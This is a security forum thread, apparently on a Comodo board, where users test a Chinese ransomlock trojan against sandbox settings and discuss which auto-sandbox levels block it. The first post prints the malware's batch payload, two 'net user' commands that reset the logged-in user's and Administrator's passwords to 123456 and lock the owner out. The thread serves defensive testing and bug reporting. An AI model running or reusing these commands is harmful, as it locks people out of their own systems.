About a ransomware

Learn about Computer Security Leak Testing/Attacks/Vulnerability Research
1
  1. I ran the malware.

http://camas.comodo.com/cgi-bin/submit?file=d0d8c3d387c9909537ced87aa699cc1fcabef7176f23fd840561dfa9d2d887d9

http://valkyrie.comodo.com/Result.html?sha1=b17d7f0ed27cc88e6edbf81e8bc2658b97cc9f4b&&query=1&&filename=open.exe

  1. It was sandboxed as “partially limited”.

  2. I restarted the system.

  3. The password for “user logon” is modified, and the original one is invalid.
    → I can not logon the system by using the original password.

  4. code:

echo off
net user %username% 123456
[at]echo off
net user Administrator 123456

  1. environment:
    WinXP Pro SP3 32bit
2

I’m not even sure why the use Partially Limited as default if it’s known that it fails to stop pretty much any ransomware?

3

For usuability of legit apps.

4

What if it was default at limited?

5

then more legit apps wouldnt work in the sandbox

6

But when you’re making compromises between legit apps working and ransomware ireversably encrypting all your data, i’d always go with the protection over usability…

7

Completely agree. My BB is set to Untrusted. In my view the way to implement security is to close all the doors and only open those you know to be safe.

A safe that is not locked shut is not a safe…

8

i understand and agree to a certain extent, maybe comodo will find a way to give both usability and security.

9

I’m sure it will, Comodo always listen users :-TU

10

Can “Fully Virtualized” auto-sandbox level protect PC against this ransomware?

11

It should do. Yes.

12

Am I right that if something autosandboxed other than “fully virtualized” then it’s really just restricted (according to the set level from “Partially limited” to “Blocked”) but not sandboxed? So “reset sandbox” won’t clean the system from the activity of the autosandboxed app.

13

yes

14

Thank you.

15

There is a new Ransomlock strain that is making its way to the rest of the world from China. It is basically just a script trojan that is backdoored to legitimate programs resulting in the Windows password being changed. One can read about it here:

http://www.symantec.com/connect/blogs/chinese-ransomlock-malware-changes-windows-login-credentials

Upon analysis of the sample I was able to reproduce the malware and run it against CIS. The default CIS settings will allow the malicious behavior, as well as the Full V auto-sandbox setting. Limited, Restricted, and Untrusted settings will protect the user.

Please note that this trojan strain is FUD, so will only be stopped by the most annoying HIPS settings or tightly restricted sandboxes.

Any Mods interested in verifying please PM.

16

Can you please explain exactly what happens when you run it as fully virtualized? Is it able to make the changes on the real computer, or only in the virtualized environment?

Thanks.

17

CIS set at default. Auto-0Sandbox changed to Full V:

1). sample run (application installer + backdoor)
2). CIS alert that file is Unknown, Default “Run Isolated” selected.
3). Application finished installing
4). Script then runs
5). Shutdown.exe is called up by script
6). On startup Windows passwords Changed.

18

I will not be able to test this on my computer, as I do not have a VM set up at the moment.

In order to get this looked at as quickly as possible, can you please create a properly formatted bug report for this in this section of the forum? The format can be found in this post. The fact that it’s able to change the password when sandboxed as FV definitely constitutes a bug.

Once you have done that I can forward this directly to the devs and hopefully have it fixed quickly. Can you also PM me a download link for the sample?

Thank you.

19

“net add newuser 123456789”

???

20

???

What do you mean? It’s a bit cryptic. :wink: Is it the password to which the trojan changes the Windows password?